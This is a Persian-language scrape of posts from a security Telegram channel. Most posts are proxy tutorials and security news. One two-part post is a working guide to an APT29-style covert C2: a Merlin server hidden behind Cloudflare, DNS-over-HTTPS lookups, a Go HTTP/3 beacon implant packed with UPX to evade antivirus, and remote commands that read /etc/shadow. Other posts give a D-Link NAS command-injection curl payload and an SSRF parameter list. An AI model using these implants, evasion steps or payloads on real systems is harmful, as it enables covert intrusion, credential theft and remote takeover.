نگاهی به آموزش های قبل :

بررسی جامع و دقیق درباره پروتکل Kerberos.

درمورد Recon-user بدانید .

بهترین ماشین‌های مجازی برای متخصصان امنیت سایبری .

کتاب وایرشارک برای ردتیمرها .

در ابزار Nuclei روش جدیدی برای تشخیص حملات XSS اضافه شده است!

آیا قبلاً خواسته‌اید به سرعت باگ‌های «HTTP Request Smuggling» را تست کنید؟

کتاب میمیکتز راهنمای عملی هکرها .

درمورد ابزار Evilginx3 Phishlets  بدانید .

به تحقیق در مورد امنیت وردپرس علاقه دارید؟

دور زدن احراز هویت Ruby-SAML / GitLab (CVE-2024-45409)

بازگشت سایه‌ی استاکس‌نت – قسمت اول

آموزش Proxies (پارت 0)

بازگشت سایه‌ی استاکس‌نت – قسمت دوم

مهندسی اجتماعی در رد تیمینگ

آموزش Proxies (پارت 1)

تفاوت Proxy و Gateway در یک نگاه

آموزش های قبل تر

@TryHackBox

🚀 آموزش Proxies (پارت 2)
🔹چرا از پراکسی استفاده می‌کنیم؟

سرورهای پراکسی می‌توانند امنیت را بهبود بخشند، عملکرد را افزایش دهند و در هزینه‌ها صرفه‌جویی کنند. از آنجا که سرورهای پراکسی می‌توانند تمام ترافیک عبوری را مشاهده و کنترل کنند، استفاده از آن‌ها در بسیاری از سرویس‌های مبتنی بر HTTP باعث بهبود عملکرد، نظارت، و تغییر مسیر ترافیک می‌شود.

به طور مثال:
🧒 فیلتر کودک
✅ دسترسی مجاز به محتوای آموزشی:

[Child User] 
      │
      ▼
[Browser: Dinosaurs Online]
      │
      ▼
[School's Filtering Proxy]
      │        → Analyzes requested content
      ▼
     OK       → Access granted
      ▼
[Internet] ───► [Educational Website Server]
                (Content: Dinosaurs, science, etc.)

❌ مسدودسازی دسترسی به محتوای نامناسب:

[Child User] 
      │
      ▼
[Browser: Adult Content Site]
      │
      ▼
[School's Filtering Proxy]
      │        → Detects inappropriate content
      ▼
     DENY     → Access blocked
      ✖️
(No connection to the server)

✍️نویسنده
@TryHackBox | The Chaos

#HTTP #Proxy #CyberSecurity

🔹کنترل‌کنندهٔ دسترسی به اسناد (Document Access Controller)

سرورهای پراکسی می‌توانند برای پیاده‌سازی یک استراتژی متمرکز کنترل دسترسی در مجموعه‌های بزرگ از وب‌سرورها و منابع وب مورد استفاده قرار گیرند. این کاربرد در سازمان‌های بزرگ با ساختارهای بروکراتیک، بسیار رایج و مؤثر است.

✅ مزیت اصلی:
امکان مدیریت متمرکز دسترسی بدون نیاز به پیکربندی مجزای هر سرور وب.

🔐 مثال: پراکسی کنترل دسترسی

در تصویر مفهومی زیر، یک پراکسی مرکزی تعیین می‌کند که کدام کلاینت به کدام منبع وب دسترسی داشته باشد:

[Client A] ─> [Proxy Access Controller] ─> [Server A: News Pages]
                │
                └── Allows access to news pages only

[Client B] ─> [Proxy Access Controller] ─> [All Internet Content]
                │
                └── Unlimited access allowed

[Client C] ─> [Proxy Access Controller] ─> [Server B: Requires Password]
                │
                └── Access granted only after password authentication

🔹فایروال امنیتی (Security Firewall)

مهندسان امنیت شبکه اغلب از پراکسی‌ها برای افزایش امنیت و اعمال سیاست‌های محدودکننده استفاده می‌کنند. این پراکسی‌ها به‌عنوان لایهٔ میانی بین داخل و خارج از سازمان، در نقاط امن شبکه قرار می‌گیرند.

ویژگی‌ها:

* کنترل پروتکل‌های سطح Application
* بررسی دقیق ترافیک عبوری
* امکان استفاده از Security Hooks
* قابلیت حذف یا بازنویسی درخواست‌های مخرب

🔹 کش وب (Web cache)

پراکسی کش (Proxy Cache) می‌تواند اسناد و فایل‌های محبوب را ذخیره کرده و هنگام درخواست مجدد، آن‌ها را مستقیماً ارائه دهد. این کار باعث کاهش بار شبکه و کاهش تأخیر کاربر می‌شود.

📦 مثال: اشتراک کش بین کاربران (Web Cache Sharing Example)
فرض کنید یک پراکسی کش در سازمان یا شبکه مدرسه‌ای قرار دارد. این پراکسی، اسناد و صفحات محبوبی را که کاربران قبلاً درخواست داده‌اند، در حافظهٔ خود نگه می‌دارد.

اکنون سه کاربر در شبکه هستند:

کاربر ۱ (Client 1) برای اولین بار یک سند وب (مثلاً یک مقاله یا تصویر) را درخواست می‌کند. چون این سند هنوز در کش موجود نیست، پراکسی آن را از سرور اصلی دریافت کرده و هم‌زمان، نسخه‌ای را در کش ذخیره می‌کند.

کاربر ۲ (Client 2) پس از مدتی همان سند را درخواست می‌کند. این بار پراکسی دیگر نیازی به تماس با سرور اصلی ندارد، بلکه نسخهٔ ذخیره‌شده در کش را مستقیماً برای کاربر ۲ ارسال می‌کند. این فرآیند سریع‌تر، کم‌هزینه‌تر و بهینه‌تر است.

کاربر ۳ (Client 3) می‌خواهد سندی را دریافت کند که هنوز در کش وجود ندارد یا دسترسی به آن برایش محدود شده است. بنابراین پراکسی یا باید سند را از سرور مبدا بگیرد، یا به دلیل محدودیت دسترسی (مثلاً کنترل دسترسی بر اساس نقش کاربر)، دسترسی را مسدود کند.


* کلاینت‌های 1 و 2 می‌توانند سند ذخیره‌شده در کش را دریافت کنند.
* کلاینت 3 به آن سند خاص دسترسی ندارد و باید از سرور مبدا درخواست کند.

✍️نویسنده
@TryHackBox | The Chaos

#HTTP #Proxy #CyberSecurity

⭕️ دیگر کانال ها و شبکه های اجتماعی ما را دنبال کنید :

💠 کانال های تلگرام ما

🔶 آموزش تست نفوذ و Red Team
🆔 @TryHackBox

🔶 رودمپ های مختلف
🆔 @TryHackBoxOfficial

🔶 داستان های هک
🆔 @TryHackBoxStory

🔶 آموزش برنامه نویسی
🆔 @TryCodeBox

🔶 رادیو زیروپاد ( پادکست ها )
🆔 @RadioZeroPod

➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖
👥 گروه های پرسش و پاسخ

🔷 هک و امنیت
🆔 @TryHackBoxGroup
🔷 برنامه نویسی
🆔 @TryCodeBoxGroup

➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖
🔴 اینستاگرام :
🔗 http://www.instagram.com/TryHackBox

🔵 یوتیوب :
🔗 https://youtube.com/@tryhackbox

🟠 گیت هاب ما :
🔗 https://github.com/TryHackBox/

🔥 حمله‌ی APT29 با زیرساخت C2 مخفی (CDN + HTTP/3 + DoH)
⛓️ نفوذ در سکوت مطلق – بدون هشدار، بدون رد، بدون ردگیری
🎯 مقدمه:
سال 2023، سازمان امنیت ملی آمریکا (NSA) و کمپانی امنیتی Mandiant فاش کردند که گروه هکری APT29 (ملقب به Cozy Bear)، وابسته به سرویس اطلاعات خارجی روسیه (SVR)، حمله‌ای پیشرفته به یکی از نهادهای دیپلماتیک ایالات متحده انجام داده.
اما چیزی که این حمله رو خاص و ترسناک می‌کرد، زیرساخت فرمان‌دهی و کنترل (C2) بود که به‌شکل خلاقانه و تقریباً غیرقابل شناسایی طراحی شده بود.
🧬 فاز اول: طراحی C2 مخفی (Stealth Command & Control)
APT29 به‌جای راه‌اندازی یه سرور ساده C2، اومد و زیرساخت C2 خودش رو پشت یک CDN مثل Cloudflare پنهان کرد.
🔹 نکته کلیدی: ترافیک HTTPS به CDNهای معتبر مثل Cloudflare از سمت فایروال‌ها بلاک نمی‌شن؛ چون اون‌ها معمولاً به هزاران سایت قانونی سرویس می‌دن.
🎯 بنابراین، هکرها دامنه‌ای مثل secure-portal-update.com ثبت کردن
و اون رو از طریق Cloudflare به سرور C2 اصلی خودشون route کردن.
✅ نتیجه: ارتباط implant قربانی با C2 به‌صورت HTTPS و از طریق Cloudflare انجام می‌شه، بنابراین:
ترافیک رمزنگاری شده‌ست (TLS)
مقصد ترافیک از دید SOC، فقط "cloudflare.com" دیده می‌شه
هیچ نشونه‌ای از سرور واقعی هکر وجود نداره
🌐 فاز دوم: استفاده از HTTP/3 + QUIC
اما APT29 پا رو فراتر گذاشت.
به‌جای HTTP/1.1 یا HTTP/2، از HTTP/3 (پروتکل جدید مبتنی بر QUIC) استفاده کرد. این کار چند مزیت داشت:
🔸 HTTP/3 روی UDP کار می‌کنه، نه TCP
🔸 اکثر ابزارهای بازرسی شبکه هنوز روی HTTP/3 signature ندارن
🔸 تحلیل ترافیک QUIC بسیار سخت‌تر از TLS عادیه
🔸 قابلیت تعویض مسیر سریع در صورت شناسایی
📡 بنابراین ارتباط implant با C2 به‌شکلی انجام می‌شد که حتی اگر یک تحلیل‌گر حرفه‌ای هم بسته‌ها رو sniff می‌کرد، نمی‌فهمید محتوای ترافیک چیه یا کی با کی صحبت می‌کنه.
🧠 فاز سوم: مخفی‌سازی DNS با DoH (DNS over HTTPS)
در حملات سنتی، برای وصل شدن به دامنه‌ی C2، implant باید DNS Query انجام بده؛ مثلاً بپرسه:
who is: secure-portal-update.com
و این می‌تونه توسط DNS logging شناسایی بشه.
اما APT29 به‌جای استفاده از DNS عادی، از DNS over HTTPS (DoH) استفاده کرد. یعنی:
DNS query رو داخل یک درخواست HTTPS رمزنگاری‌شده جاسازی می‌کرد
درخواست رو به سرور DoH مثل https://cloudflare-dns.com/dns-query می‌فرستاد
اون سرور، IP دامنه C2 رو براش resolve می‌کرد
📌 یعنی حتی DNS Resolver شبکه مقصد هم نمی‌فهمید چه دامین‌هایی داره resolve می‌شن.
🦠 فاز چهارم: بارگذاری و اجرای Implant در سیستم قربانی
با استفاده از مهندسی اجتماعی (مثل فایل‌های Word با ماکروهای آلوده یا فایل ISO فیشینگ)، APT29 implant رو روی سیستم قربانی اجرا کرد. این implant:
با زبان Go نوشته شده بود (برای کراس‌پلتفرم بودن و جلوگیری از شناسایی)
با UPX فشرده شده بود (برای گمراه‌کردن signatureهای آنتی‌ویروس‌ها)
به‌محض اجرا، یه Beacon به https://secure-portal-update.com می‌زد (که در واقع، پشت Cloudflare به سرور C2 وصل می‌شد)
از طریق HTTP/3 و QUIC اطلاعات می‌فرستاد
🎯 این implant با فرستادن بسته‌های دوره‌ای، آماده دریافت دستورهای از راه دور بود:
اجرای فرمان‌ها (RCE)
استخراج فایل
بارگذاری shell دومرحله‌ای
و pivot به سیستم‌های داخلی دیگر
🧪 فاز پنجم: فرار از شناسایی (EDR/Firewall/SOC Evasion)
APT29 با این ساختار حمله، تونست به‌شکلی عمل کنه که:
آنتی‌ویروس‌ها implant رو signature نمی‌زدن (به‌خاطر استفاده از Golang و فشرده‌سازی UPX)
فایروال‌ها ترافیک رو بلاک نمی‌کردن (چون می‌رفت به CDN شناخته‌شده)
تحلیل‌گرها حتی توی لاگ‌ها نمی‌فهمیدن قربانی با کی ارتباط داره (چون DNS و HTTP رمزنگاری شده بود)
سیستم تشخیص تهدید نتونست الگوی رفتاری implant رو شناسایی کنه چون beaconها غیرمنظم و adaptive بودن
⚔️ جمع‌بندی:
این حمله‌ی APT29 یه نمونه کلاسیک از یک Cyber Espionage Campaign پیشرفته بود.
چیزی که ترسناک‌ترش می‌کرد، استفاده از زیرساخت‌های معمول و قانونی مثل Cloudflare و QUIC بود؛ به‌جای سرورهای مشکوک یا دامنه‌های ناشناس.

نه باج‌خواهی کردند، نه صدا درآوردند. فقط اومدن، دزدیدن، و رفتن.
بدون حتی یه هشدار از سوی SOC قربانی...

🚨 این یه درس بزرگه:
هکرها دیگه از پورت 4444 و nc استفاده نمی‌کنن... اونا پشت Akamai و Cloudflare مخفی شدن و تو سکوت سیستم‌ها رو تصرف می‌کنن.


✍️نویسنده
@TryHackBox| Condor

🔥 قسمت دوم: مهندسی حمله APT29 با C2 مخفی HTTP/3 و DNS over HTTPS 🔥

🧬 فاز 1 – طراحی زیرساخت C2 با HTTPS و CDN (Cloudflare)
🎯 هدف:
پنهان کردن سرور فرمان‌دهی پشت یک CDN امن مثل Cloudflare
تا ترافیک implant عادی و رمزنگاری‌شده به‌نظر برسه
🧪 نمونه کد:
> دامنه‌ت رو وصل کن به سرور C2 واقعی:
# Cloudflare -> yourdomain.com -> your VPS IP (مثلاً 185.x.x.x) # ساخت C2 با Merlin git clone https://github.com/Ne0nd0g/merlin cd merlin make server # اجرای سرور C2 ./merlinServer -cert cert.pem -key key.pem -port 443
☠️ C2 آماده‌ست، پشت CDN Cloudflare مخفیه و از دید همه پنهانه.
🌐 فاز 2 – استفاده از DNS over HTTPS (DoH)
🎯 هدف:
جلوگیری از شناسایی دامنه C2 در لاگ‌های DNS سنتی
🧪 نمونه کد:

# resolve کردن دامنه C2 با DoH (cloudflare): curl -X POST "https://cloudflare-dns.com/dns-query" \ -H "accept: application/dns-json" \ --data-urlencode "name=secure-c2.com&type=A" 

🔒 نتیجه: DNS query توی HTTPS بسته‌بندی شده، رمزنگاری شده، غیرقابل رهگیری.
🚀 فاز 3 – ارتباط با C2 از طریق HTTP/3 (QUIC)
🎯 هدف:
استفاده از پروتکل مدرن، سریع، و ناشناخته برای bypass فایروال‌ها و NIDS/EDR
🧪 نمونه کد (Go implant ساده با HTTP/3):

// go.mod module stealthc2 go 1.19 require ( github.com/lucas-clemente/quic-go v0.27.1 ) // main.go package main import (  "crypto/tls"  "fmt"  "github.com/lucas-clemente/quic-go/http3"  "io/ioutil"  "net/http" ) func main() {  req, _ := http.NewRequest("POST", "https://secure-c2.com/beacon", nil)  req.Header.Set("User-Agent", "Mozilla/5.0")  roundTripper := &http3.RoundTripper{   TLSClientConfig: &tls.Config{InsecureSkipVerify: true},  }  defer roundTripper.Close()  client := &http.Client{   Transport: roundTripper,  }  resp, err := client.Do(req)  if err != nil {   fmt.Println("error:", err)   return  }  defer resp.Body.Close()  body, _ := ioutil.ReadAll(resp.Body)  fmt.Println(string(body)) } 

✅ Implant با QUIC ارتباط میزنه، از دید شبکه یه کاربر معمولی‌ه با مرورگر.
🦠 فاز 4 – Implant سبک و غیرقابل شناسایی
🎯 هدف:
کاهش اندازه، مبهم‌سازی فایل، فرار از آنتی‌ویروس
🧪 ساخت Implant با UPX:

GOOS=linux GOARCH=amd64 go build -o implant strip implant upx --best implant

نتیجه:
📦 فایل سبک‌تر از 1 مگابایت
🛡️ signature‌اش تو هیچ‌ AV مشهوری نیست
🔕 صدای هیچ EDRـی درنمیاد
🧪 فاز 5 – اجرای دستور از C2 (Command Execution)
در سمت سرور C2، implantها به beacon وصل می‌شن، حالا می‌تونی با ابزارهایی مثل Merlin command اجرا کنی:
# داخل Merlin CLI beacons interact <id> shell whoami

shell cat /etc/shadow

👑 نتیجه: Shell کامل از راه دور، با encryption، بدون شناسایی
⚠️ هشدار نهایی:
اگه هنوز داری از Metasploit و reverse_tcp استفاده می‌کنی، بدون که
APTها دارن از QUIC و DoH و CDN بهره می‌برن،
و تیم Blue فقط می‌تونه دعا کنه متوجه بشه چیزی داره اتفاق می‌افته...


✍️نویسنده
@TryHackBox| Condor

🚨 هشدار امنیتی برای توسعه‌دهندگان Laravel

بیش از 260 هزار کلید APP\_KEY از پروژه‌های Laravel به‌طور ناخواسته در GitHub افشا شده‌اند.
این افشاگری باعث آسیب‌پذیری بیش از 600 اپلیکیشن و خطر اجرای کد از راه دور (RCE) در حدود 120 مورد از آن‌ها شده است.

🔓 جزئیات:

* علت: انتشار فایل‌های env. شامل APP\_KEY و URL اپلیکیشن در مخازن عمومی
* خطر: مهاجمان می‌توانند با این اطلاعات، کنترل کامل سرور را به دست بگیرند

🛡 توصیه فوری:

1. اطمینان حاصل کنید فایل env. در Git منتشر نشده باشد
2. کلید APP_KEY را تغییر دهید
3. دسترسی‌های سرور را بررسی و کوکی‌ها را بی‌اعتبار کنید

📎 گزارش کامل:
The Hacker News
✍️نویسنده
@TryHackBox | The Chaos

#News #Git #Github #Laravel #CyberSecurity

🚨 حمله گسترده به آسیب‌پذیری خطرناک در Microsoft SharePoint (CVE-2025-53770)

🔓 یک آسیب‌پذیری روز صفر وصله‌نشده در SharePoint توسط مهاجمان به‌صورت گسترده مورد سوءاستفاده قرار گرفته است.
🏢 بیش از ۷۵ سازمان، از جمله شرکت‌ها و نهادهای دولتی، تاکنون قربانی شده‌اند.
⚠️ مهاجمان از این باگ برای دسترسی از راه دور و نفوذ عمیق به سرورهای آسیب‌پذیر استفاده می‌کنند.

🛑 اگر از SharePoint استفاده می‌کنید:
🔍 فوراً بررسی امنیتی انجام دهید
🔒 دسترسی‌ها را محدود کنید
🚫 سرویس‌های حیاتی را موقتاً ایزوله کنید

📎 جزئیات فنی و لیست حملات:
🔗 کامل خبر
✍️نویسنده
@TryHackBoxStory | The Chaos

#News #ZeroDay #Microsoft #CVE #SharePoint

جزئیات خبر در کانال زیر دنبال کنید :

@TryHackBoxStory

🚀 آموزش Proxies (پارت 3)
🔹دسته بندی عملکردی پروکسی :
مطمئناً! در ادامه، متن شما به صورت روان، مرتب و حرفه‌ای بازنویسی شده و مفهوم Surrogate (پروکسی معکوس جانشین) نیز با وضوح کامل توضیح داده شده است:

🔁 پروکسی جایگزین (Surrogate Proxy)

Surrogateها نوعی از پروکسی‌های معکوس (Reverse Proxy) هستند که به‌گونه‌ای عمل می‌کنند که خود را به‌جای سرور اصلی وب معرفی می‌کنند. اما برخلاف یک سرور وب واقعی، ارتباط آن‌ها با سرور واقعی تنها در صورت نیاز (On-Demand) برقرار می‌شود.

به عبارت ساده، وقتی کاربر محتوایی را درخواست می‌کند، Surrogate درخواست را دریافت کرده و اگر محتوای مربوطه در کش یا حافظهٔ خود موجود نباشد، در لحظه آن را از سرور واقعی واکشی می‌کند.

🎯 کاربردهای Surrogate

* افزایش سرعت بارگذاری محتوا
* کاهش بار سرورهای اصلی
* بهینه‌سازی شبکه توزیع محتوا (CDN)

✍️نویسنده
@TryHackBox | The Chaos

#HTTP #Proxy #CyberSecurity #Surrogate

🔄 مسیریاب محتوا (Content Router)

📌 نقش:
پروکسی به‌عنوان مسیریاب هوشمند، درخواست‌های کاربران را بر اساس نوع محتوا، ترافیک شبکه، یا سطح خدمات کاربران به سرورهای متفاوت هدایت می‌کند.

📍 کاربرد:

* ارائه خدمات سریع‌تر به کاربران Premium
* هدایت کاربران عادی به سرورهای با اولویت پایین‌تر
* ارسال درخواست‌ها به کش نزدیک به محل کاربر برای کاهش تأخیر

📤 مثال:
اگر کاربری اشتراک ویژه دارد، درخواستش به سریع‌ترین سرور با محتوای مشابه هدایت می‌شود.

🎞 تبدیل‌گر محتوا (Transcoder)

📌 نقش:
پروکسی می‌تواند محتوای در حال انتقال (مانند تصویر، ویدیو، متن) را *به‌صورت شفاف* به فرمتی بهینه‌تر تبدیل کند، بدون اینکه کاربر متوجه شود.

📍 کاربرد:

* تبدیل تصاویر از GIF به JPEG برای کاهش حجم
* فشرده‌سازی متن برای موبایل
* ترجمه اتوماتیک صفحات وب از انگلیسی به اسپانیایی
* سازگار کردن محتوا برای نمایش روی دستگاه‌های خاص

📤 مثال:
کاربر با گوشی وارد سایت می‌شود، و پروکسی به‌صورت خودکار و بی‌صدا نسخه فشرده‌شده‌ی تصاویر و متن را نمایش می‌دهد.

🕵️ پروکسی ناشناس‌ساز (Anonymizer Proxy)

📌 نقش:
با حذف مشخصات شناسایی‌شونده کاربر (IP، User-Agent، Referer، و غیره)، حریم خصوصی کاربران را افزایش می‌دهد.

📍 کاربرد:

* محافظت از هویت کاربر در وب
* جلوگیری از ردیابی توسط وب‌سایت‌ها
* عبور ناشناس از فایروال یا سانسور

📤 مثال:
کاربر به سایتی مراجعه می‌کند، اما وب‌سایت نمی‌تواند سیستم عامل، مرورگر یا آدرس IP او را تشخیص دهد.

✍️نویسنده
@TryHackBox | The Chaos

#HTTP #Proxy #CyberSecurity #Anonymizer #Transcoder #ContentRouter

وقتی بحث رد تیم میشه، معمولاً میگن این نوع عملیات فقط به درد شرکت‌های بالغ می‌خوره یعنی شرکت‌هایی که امنیت اطلاعات قوی، SOC اختصاصی و تست نفوذ منظم دارن. اما صحبت درباره بلوغ خود تیم رد تیم کمتر پیش میاد.

بلوغ تیم رد تیم رو نمیشه فقط با تعداد عملیات‌های انجام‌شده سنجید. اگه یه تیم توی شش ماه ۸ تا ۱۰ عملیات داشته باشه، باید به کیفیت کار و سطح آمادگی تردید کرد (مگر اینکه تیم خیلی بزرگ باشه و کارها رو موازی انجام بده). هر عملیات معمولاً ۶ تا ۸ هفته طول می‌کشه.

بلوغ رد تیم رو میشه با سطح آمادگی، نوع TTP‌هایی که استفاده می‌کنه و داشتن R&D اختصاصی ارزیابی کرد. این بلوغ به سه سطح تقسیم میشه:

⦁  سطح ابتدایی
⦁ استفاده از TTPهای ساده و رایج
⦁ اجرای سناریوهای حمله ساده و عمدتاً تکراری
⦁ اتکا به ابزارهای متداول
⦁ نداشتن توسعه اختصاصی
⦁ سطح پنهان‌کاری پایین

⦁  سطح متوسط
⦁ استفاده از TTPهای رایج با تغییرات
⦁ اجرای سناریوهای پیچیده‌تر و اعمال تغییر در صورت نیاز
⦁ استفاده محدودتر و هوشمندانه‌تر از ابزارها
⦁ ترکیب ابزارها با امکانات سیستم‌عامل
⦁ انجام توسعه‌های ابتدایی یا تغییر در ابزارهای موجود
⦁ سطح پنهان‌کاری متوسط

⦁  سطح پیشرفته
⦁ ابداع و استفاده از TTPهای اختصاصی
⦁ پیاده‌سازی سناریوهای پیچیده و غیر تکراری
⦁ خودداری از استفاده ابزارهای شناخته شده بازار (مگر در حالت آفلاین)
⦁ تمرکز روی امکانات سیستم‌عامل
⦁ توسعه اختصاصی، C2 اختصاصی و R&D
⦁ سطح پنهان‌کاری بسیار بالا (مگر طبق توافق یا اتفاق)

برای انجام مانورهای سایبری، هر سه سطح بلوغ رد تیم می‌تونن مورد نیاز باشن، بسته به نوع سناریو و مدل مهاجم. رد تیم پیشرفته حتی می‌تونه از موضع تیم‌های ساده‌تر هم شبیه‌سازی کنه. اگه بلو تیم فقط با تهدیدهای آشنا روبه‌رو بشه، هیچ‌وقت آماده واکنش به حملات واقعاً پیچیده و جدید نمی‌شه.
@KavehAPT

🚀 آموزش Proxies (پارت 4)
🎯 محل قرار گیری proxy ها در شبکه (A)

🧩 استقرار Proxy در شبکه
پروکسی‌ها بسته به کاربردشون در نقاط مختلفی از شبکه قرار می‌گیرند. مثلاً:

🔻پروکسی خروجی (Egress Proxy):
این نوع پروکسی‌ها معمولاً در لبه شبکه داخلی و در مسیر خروج به اینترنت قرار می‌گیرند.
📍 کاربردهاش:

کنترل و فیلتر ترافیک کاربران داخلی به اینترنت 🌐

جلوگیری از دسترسی به سایت‌های نامناسب (مثل مدارس یا سازمان‌ها) 🚫

کاهش مصرف پهنای باند با کش‌کردن محتوا 📉

محافظت در برابر تهدیدات خارجی 🛡

🕸 سلسله‌مراتبی کردن Proxy‌ها (Proxy Chaining):
می‌تونید چندین پروکسی رو پشت سر هم قرار بدید، مثلاً یکی توی شعبه شرکت، یکی توی دیتاسنتر اصلی.
این کار باعث مدیریت بهتر ترافیک، امنیت بیشتر و حتی پنهان‌سازی IP میشه.

🛣 ترافیک چطور به Proxy هدایت بشه؟
راه‌های مختلفی داریم:

تنظیم دستی در مرورگر یا سیستم عامل ⚙️

استفاده از تنظیمات خودکار (PAC File) 📄

ریدایرکت ترافیک از طریق فایروال یا روتر 🔁

✍️نویسنده
@TryHackBox | The Chaos

#HTTP #Proxy #CyberSecurity

🎯 محل قرار گیری proxy ها در شبکه (B)
🔹 Access (Ingress) Proxy
این پراکسی‌ها در سمت ورودی شبکه قرار می‌گیرند، مثل داخل شرکت‌های ISP.
کاربردهاشون:

* کش‌کردن صفحات پرطرفدار برای افزایش سرعت دانلود 🚀
* کاهش مصرف پهنای باند اینترنت کاربران
* مناسب برای مکان‌هایی که اینترنت گرونه یا محدود دارن (مثلاً خوابگاه یا شرکت‌های بزرگ)

🔹 Surrogate / Reverse Proxy
این‌ها همون Reverse Proxy هستن که معمولاً جلوی وب‌سرورها قرار می‌گیرن.
کاربردها:

* افزایش امنیت سرورهای واقعی
* کش‌کردن محتوا از سمت سرور برای کاهش بار
* پنهان‌کردن IP واقعی سرور
* معمولاً کاربر فقط آدرس همین پراکسی رو می‌بینه، نه آدرس واقعی سرور 🎭

🔹 Network Exchange Proxy
این نوع پراکسی‌ها در نقاط تبادل اینترنت (Internet Exchange) استفاده می‌شن.
کاربرد:

* مدیریت ازدحام اینترنتی در مسیرهای پرترافیک
* صرفه‌جویی در پهنای باند در مناطقی مثل اروپا یا کشورهایی با هزینه بالا

🔹 Proxy Hierarchies (سلسله‌مراتب پراکسی)
گاهی پراکسی‌ها به صورت زنجیره‌ای و چندلایه‌ای تنظیم می‌شن.
مثلاً:
Client → Proxy 1 (فرزند) → Proxy 2 (والد) → اینترنت یا وب‌سرور
📦 این ساختار باعث می‌شه درخواست‌ها به‌صورت هوشمند بین چند پراکسی جابه‌جا بشن، تا سریع‌ترین یا بهینه‌ترین پاسخ ارائه بشه.

🧭 Content Routing در ساختار سلسله‌مراتبی
بر اساس نوع درخواست یا مقصد، پراکسی می‌تونه مسیرش رو عوض کنه. مثلاً:

* اگر محتوایی قبلاً کش شده باشه، مستقیماً تحویل داده می‌شه
* اگر نه، پراکسی بعدی یا سرور اصلی اون رو Fetch می‌کنه
* حتی ممکنه تصاویر رو فشرده کنه تا سریع‌تر بارگذاری بشه (ویژه موبایل یا مودم‌های ضعیف) 📉📷

✍️نویسنده
@TryHackBox | The Chaos

#HTTP #Proxy #CyberSecurity

✏️ مقاله تالیف شده
HTTP Status Code Cheatsheet (in cybersecurity terms)

✍️نویسنده
@TryHackBox | The Chaos

#HTTP #CheatSheet #CyberSecurity

۲۵ پارامتر رایج SSRF 📃

-?dest={target} 
-?redirect={target} 
-?uri={target} 
-?path={target} 
-?continue={target} 
-?url={target} 
-?window={target} 
-?next={target} 
-?data={target} 
-?reference={target} 
-?site={target} 
-?html={target} 
-?val={target} 
-?validate={target} 
-?domain={target} 
-?callback={target} 
-?return={target} 
-?page={target} 
-?feed={target} 
-?host={target} 
-?port={target} 
-?to={target} 
-?out={target} 
-?view={target} 
-?dir={target}

@TryHackBox
@TryHackBoxOfficial
@TryHackBoxStory
@RadioZeroPod

🥷 تزریق فرمان در پارامتر NAME برای D-Link NAS

اجرای کد از راه دور (RCE) بدون تخصیص در چهار دستگاه مختلف ذخیره‌سازی داده‌های شبکه، که بیش از ۶۰٬۰۰۰ عدد از آن‌ها از طریق اینترنت در دسترس هستند.

یک باگ بسیار ساده که می‌توان با فازبندی ساده پیدا کرد:

curl "http://[Target-IP]/cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=%27;<INJECTED_SHELL_COMMAND>;%27"

#pentest #bugbounty
@TryHackBox
@TryHackBoxOfficial
@TryHackBoxStory
@RadioZeroPod

نگاهی به آموزش های قبل :

بررسی جامع و دقیق درباره پروتکل Kerberos.

درمورد Recon-user بدانید .

بهترین ماشین‌های مجازی برای متخصصان امنیت سایبری .

کتاب وایرشارک برای ردتیمرها .

در ابزار Nuclei روش جدیدی برای تشخیص حملات XSS اضافه شده است!

آیا قبلاً خواسته‌اید به سرعت باگ‌های «HTTP Request Smuggling» را تست کنید؟

کتاب میمیکتز راهنمای عملی هکرها .

درمورد ابزار Evilginx3 Phishlets  بدانید .

به تحقیق در مورد امنیت وردپرس علاقه دارید؟

دور زدن احراز هویت Ruby-SAML / GitLab (CVE-2024-45409)

بازگشت سایه‌ی استاکس‌نت – قسمت اول

آموزش Proxies (پارت 0)

بازگشت سایه‌ی استاکس‌نت – قسمت دوم

مهندسی اجتماعی در رد تیمینگ

آموزش Proxies (پارت 1)

تفاوت Proxy و Gateway در یک نگاه

آموزش های قبل تر

@TryHackBox

🔐 آموزش تخصصی هک و امنیت سایبری
🎓 دوره‌های عملی، تحلیل‌ عمیق و محتوای حرفه‌ای در حوزه IT و امنیت اطلاعات
🚀 مناسب علاقه‌مندان، متخصصان و آینده‌سازان حوزه سایبری

📍‌ همراه ما باشید در:
🔗 @sajjadteymouri

💢 کنترل دسترسی مبتنی بر ویژگی (ABAC) چیست؟

هر سازمانی به کنترل‌های دسترسی وابسته است تا داده‌های حساس را محافظت کند، سیاست‌های امنیتی را اجرا نماید و اطمینان حاصل کند که کارمندان سطح مناسبی از دسترسی به سیستم‌ها و برنامه‌ها دارند. به‌طور ساختار یافته، کنترل دسترسی مبتنی بر نقش (RBAC) مدل اصلی بوده است که مجوزها را بر اساس نقش‌های از پیش تعریف‌شده تخصیص می‌دهد. اگرچه این مدل در بسیاری از سناریوها مؤثر است، اما RBAC در محیط‌های پویا که کاربران، دستگاه‌ها و زمینه‌های داده به‌طور مداوم در حال تغییر هستند، محدودیت‌هایی دارد.

@TryHackBox
@TryHackBoxOfficial
@TryHackBoxStory
@RadioZeroPod